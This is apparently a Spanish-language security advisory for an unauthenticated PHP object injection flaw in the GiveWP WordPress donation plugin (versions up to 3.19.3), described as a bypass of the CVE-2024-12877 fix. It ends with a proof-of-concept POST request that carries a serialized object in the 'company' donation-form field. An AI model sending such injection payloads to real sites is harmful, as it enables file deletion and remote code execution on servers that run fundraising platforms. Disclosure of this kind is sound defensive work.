
GiveWP – Plugin de Donaciones y Plataforma de Recaudación de Fondos <= 3.19.3 - Inyección de Objetos PHP No Autenticada
GiveWP – Plugin de Donaciones y Plataforma de Recaudación de Fondos <= 3.19.3 - Inyección de Objetos PHP No Autenticada
El plugin GiveWP – Plugin de Donaciones y Plataforma de Recaudación de Fondos para WordPress es vulnerable a la Inyección de Objetos PHP en todas las versiones hasta la 3.19.3 incluida, mediante la deserialización de entrada no confiable del formulario de donación a través del parámetro 'company'. Esto permite que atacantes no autenticados inyecten un Objeto PHP. La presencia adicional de una cadena POP permite a los atacantes eliminar archivos arbitrarios en el servidor, lo que hace posible la ejecución remota de código. Tenga en cuenta que esto cubre un bypass de la corrección para CVE-2024-12877.
POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
amount=10¤cy=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=Test&[email protected]&donationType=single&donationBirthday=